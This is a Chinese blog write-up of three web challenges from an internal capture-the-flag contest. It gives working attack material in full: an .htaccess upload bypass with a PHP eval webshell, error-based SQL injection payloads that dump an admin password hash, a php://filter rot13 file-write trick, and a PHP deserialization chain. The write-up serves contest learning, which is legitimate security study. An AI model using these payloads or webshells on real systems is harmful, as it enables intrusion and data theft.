单位内部CTF-Web部分WriteUp

总分1000,时长两小时,我只拿了250,菜


0x01: Upload (50pt)

时间仓促,文件上传和反序列化考试写wp只截了一些图,这里简略补充一下思路

Challenge1FakeLoginPage

假登陆页面,F12发现有hint,base64 decode得到 0x0xlogin.php

Challenge1RealLoginPage

burp爆破出弱口令admin/admin123456

Challenge1AdminConsole

项目管理有个上传点

Challenge1ProjectManagement

文件名留空或者../../../../../../这种无法访问的路径,上传会报错,得到保存路径 /uploaded

Challenge1UploadError

经过fuzz判断为后缀黑名单过滤,可以上传.htaccess,内容如下:

1
AddType application/x-httpd-php .jpg

Challenge1UploadHtaccess

再上传jpg后缀图片马:

1
2
3
4
<?php 
phpinfo();
@eval($_POST['snow']);
?>

Challenge1AccessBackdoor

蚁剑连接

Challenge1AntSwordConnect

得到flag:flag{063a5bda0b5a2a5d7b700d989f73902b}

Challenge1GetFlag


0x02: EasySQLi (多少分忘了)

基于报错注入的二次注入 + 任意文件写入

注入

Challenge2Dashboard

花里胡哨的仪表盘右上角有个后台登陆

Challenge2SignUpPage

Challenge2LoginPage

Challenge2ChangePasswordPage

提供登陆、注册、修改密码功能

Challenge2LoginSuccessPage

根据题目提示:You need to be admin!,明确主线任务是拿到管理员权限

Challenge2ChangePasswordSqlError

测试注册、登陆无论怎么输入均正常,不存在注入。注册,用户名 snow",修改密码报错 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"snow"" and password='d41d8cd98f00b204e9800998ecf8427e'' at line 1,存在报错注入。Payload如下:

  1. 爆表名: snow"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#
    Challenge2Payload1Login
    Challenge2GetTableName

  2. 爆users字段名:snow"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1)#
    Challenge2GetColumnName

  3. 做这个题的时候已经考完一周,users表被注册了许多奇奇怪怪的用户。直接爆admin的密码:snow"^updatexml(1,concat(0x3a,(select(group_concat(password))from(users)where(username='admin'))),1)#
    Challenge2Payload3GetAdminPassword
    返回XPATH syntax error: ‘:55d7642bde5ab8c0fc369e270dc4d61’

  4. 反过来查一下,确保password完整:snow"^updatexml(1,concat(0x3a,reverse((select(group_concat(password))from(users)where(username='admin')))),1)#
    Challenge2Payload4GetAdminReversePassword
    返回XPATH syntax error: ‘:816d4cd072e963cf0c8ba5edb2467d5’

结合 55d7642bde5ab8c0fc369e270dc4d61 和816d4cd072e963cf0c8ba5edb2467d5的reverse:5d7642bde5ab8c0fc369e270dc4d618,拼出password=55d7642bde5ab8c0fc369e270dc4d618

Challenge2Xianyu1
Challenge2Xianyu2

cmd5显示是付费记录,去小黄鱼花费一元请大佬帮忙解密,得到admin密码:www.icbc.com.cn

文件写入

Challenge2AdminLoginSuccess

登陆成功,来到admin.php,里面是一段PHP代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
session_start();
include("config.php");


if($_SESSION['username']!="admin"){
die("you are not admin!");
}
$sandbox = '/var/www/html/sandbox/' . md5($salt.$_SERVER['HTTP_X_REAL_IP']);
@mkdir($sandbox);
@chdir($sandbox);
echo $sandbox;
//flag in /fffffffffffffffffffflag

if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64|zlib/i',$content))
die('hacker');
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64|zlib/i',urldecode($content)))
die('hacker');
file_put_contents($content,'<?php exit();'.$content);
}
?>
/var/www/html/sandbox/28d27f706b11f475fc39cff1a933064a

思路:

  1. URL双重编码再编码绕过两次黑名单过滤
  2. rot13绕过死亡exit()

构造payload:

  1. \<?php phpinfo();?> -> ROT13 -> \<?cuc cucvasb();?>
  2. r -> %72 -> %7%32
  3. php://filter/write=string.%7%32ot13|\<?cuc cucvasb();?>|/resource=snow1.php -> URLEncode -> php://filter/write=string.%257%2532ot13%7C%3C?cuc%20cucvasb();?%3E%7C/resource=snow1.php

Get参数content传递payload:

Challenge2AdminPhpSendPayload1

根据sandbox的路径,访问生成的snow1.php

Challenge2PhpinfoReturnFlag

题目不知用了什么黑魔法,phpinfo将flag返回了

Challenge2AdminPhpSendPayload2

尝试修改payload写入一句话木马 <?php eval($_POST[snow]);?>,依旧是直接返回flag:flag{e4b3b0d4681296b0cbaa5e56e584d7c1}

Challenge2AdminPhpPayload2GetFlag


0x03: Lesen (100pt)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
highlight_file(__FILE__);
$from = $_GET['from'];
$to = $_GET['to'];
if(!isset($from) or !isset($to) or stripos($from, "flag")!=FALSE)
{
$from = "behind.php";
}

include($from);// read flag.php

if(isset($to))
{
$a = unserialize($to);
$a->sayTheFlag();
}
?>

简单反序列化,文件包含过滤了flag,但我们可以先伪协议读出 index.phpbehind.php 的base64

Challenge3GetBase64OfIndexPhp

base64 decode还原

Challenge3IndexPhpBase64Decode

分析behind.php源码,index.php里调用sayTheFlag(),方法不存在,会自动调用call(),接着print一个对象,就会自动调用其toString(),实现最终目标file_get_contents()读flag。流程:sayTheFlag() -> Test::__call() -> NoUse::__toString() -> file_get_contents()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
class Test
{
public $notthis;
public $variable;
public function __call($t1, $t2)
{
print($this->notthis);
}

}
class NoUse
{
public $notthis;
public $class;
public function __toString()
{
return file_get_contents($this->notthis);
}
}

$a = new Test();
$a->notthis = new NoUse();
$a->notthis->notthis = 'php://filter/read=convert.base64-encode/resource=flag.php';

print(urlencode(serialize($a)));
// print(serialize($a));
?>

实例化,构造反序列化链,伪协议读flag.php转换base64,最后序列化并URL编码

Challenge3WritePayload

将生成的payload get传过去

Challenge3SendPayloadGetFlag

decode还原flag.php源码,得到real flag

Challenge3Base64DecodeGetRealFlag


总结

太菜了我

SolvedProblems

末尾40分钟竟然有勇气回去怼那Canary/PIE/NX全开的PWN题和易语言Reverse,卒

QingyunStageBMeme

六年过去了,博客终于迎来了一次更新✧。٩(ˊᗜˋ )و✧*。